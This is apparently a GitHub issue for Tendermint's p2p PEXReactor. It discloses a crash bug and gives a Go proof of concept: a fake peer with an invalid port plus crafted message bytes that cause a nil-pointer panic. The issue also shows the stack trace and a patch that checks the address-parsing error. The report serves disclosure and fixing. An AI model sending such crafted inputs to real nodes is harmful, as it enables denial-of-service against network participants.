p2p: PEXReactor.Receive should not ignore peer's NewNetAddressString errors lest we crash #816
Description
If a peer's NodeInfo is intentionally malicious with an invalid port range ie >= 1<<16, they can cause a PEXReactor to crash in the Receive routine by sending in bytes representing a binary encoded*pexAddrsMessage for example
package main
import (
"github.com/tendermint/go-crypto"
"github.com/tendermint/tendermint/p2p"
"github.com/tendermint/tmlibs/log"
)
func main() {
addrB := new(p2p.AddrBook)
prec := p2p.NewPEXReactor(addrB)
if prec == nil {
panic("nil Reactor")
}
peer1 := newFuzzPeer()
prec.AddPeer(peer1)
prec.Receive(0x01, peer1, []byte{0x02, 0x01, 0x01, 0x01, 0x01, 0x00, 0x30, 0x30})
}
type fuzzPeer struct {
m map[string]interface{}
}
var _ p2p.Peer = (*fuzzPeer)(nil)
func newFuzzPeer() *fuzzPeer {
return &fuzzPeer{m: make(map[string]interface{})}
}
func (fp *fuzzPeer) Key() string {
return "fuzz-peer"
}
func (fp *fuzzPeer) Send(ch byte, data interface{}) bool {
return true
}
func (fp *fuzzPeer) TrySend(ch byte, data interface{}) bool {
return true
}
func (fp *fuzzPeer) Set(key string, value interface{}) {
fp.m[key] = value
}
func (fp *fuzzPeer) Get(key string) interface{} {
return fp.m[key]
}
var ed25519Key = crypto.GenPrivKeyEd25519()
var defaultNodeInfo = &p2p.NodeInfo{
PubKey: ed25519Key.PubKey().Unwrap().(crypto.PubKeyEd25519),
Moniker: "foo1",
Version: "tender-fuzz",
RemoteAddr: "0.0.0.0:98991",
ListenAddr: "0.0.0.0:98992",
}
func (fp *fuzzPeer) IsOutbound() bool { return false }
func (fp *fuzzPeer) IsPersistent() bool { return false }
func (fp *fuzzPeer) IsRunning() bool { return false }
func (fp *fuzzPeer) NodeInfo() *p2p.NodeInfo { return defaultNodeInfo }
func (fp *fuzzPeer) OnReset() error { return nil }
func (fp *fuzzPeer) OnStart() error { return nil }
func (fp *fuzzPeer) OnStop() {}
func (fp *fuzzPeer) Reset() (bool, error) { return true, nil }
func (fp *fuzzPeer) Start() (bool, error) { return true, nil }
func (fp *fuzzPeer) Stop() bool { return true }
func (fp *fuzzPeer) String() string { return fp.Key() }
func (fp *fuzzPeer) Status() p2p.ConnectionStatus { var cs p2p.ConnectionStatus; return cs }
func (fp *fuzzPeer) SetLogger(l log.Logger) {}And we'll get back crash
panic: runtime error: invalid memory address or nil pointer dereference
[signal SIGSEGV: segmentation violation code=0x1 addr=0x28 pc=0x12626cc]
goroutine 1 [running]:
github.com/tendermint/tendermint/p2p.(*AddrBook).AddAddress(0xc4204300e0, 0xc4204352f0, 0x0)
/Users/emmanuelodeke/go/src/github.com/tendermint/tendermint/p2p/addrbook.go:165 +0x12c
github.com/tendermint/tendermint/p2p.(*PEXReactor).Receive(0xc4200afb90, 0xc42001ca01, 0x147ca80, 0xc42000e048, 0xc42001caa0, 0x8, 0x8)
/Users/emmanuelodeke/go/src/github.com/tendermint/tendermint/p2p/pex_reactor.go:153 +0x355
main.main()
/Users/emmanuelodeke/go/src/github.com/tendermint/tendermint/fuzz/p2p/pex-reactor/main.go:17 +0x10e
exit status 2Remedy
We can fix that by straight up capturing the error on parsing the peer's address that is
diff --git a/p2p/pex_reactor.go b/p2p/pex_reactor.go
index 54c2d06..0df37d2 100644
--- a/p2p/pex_reactor.go
+++ b/p2p/pex_reactor.go
@@ -120,7 +120,11 @@ func (r *PEXReactor) RemovePeer(p Peer, reason interface{}) {
// Receive implements Reactor by handling incoming PEX messages.
func (r *PEXReactor) Receive(chID byte, src Peer, msgBytes []byte) {
srcAddrStr := src.NodeInfo().RemoteAddr
- srcAddr, _ := NewNetAddressString(srcAddrStr)
+ srcAddr, err := NewNetAddressString(srcAddrStr)
+ if err != nil {
+ r.Logger.Error("Invalid srcAddr", srcAddrStr, "err", err)
+ return
+ }
r.IncrementMsgCountForPeer(srcAddrStr)
if r.ReachedMaxMsgCountForPeer(srcAddrStr) {Please note the bytes required to trigger this bug are from a binary encoded *pexAddrsMessage.
Found by fuzzing to generate the code path and then intentionally maliciously by hand with the invalid port.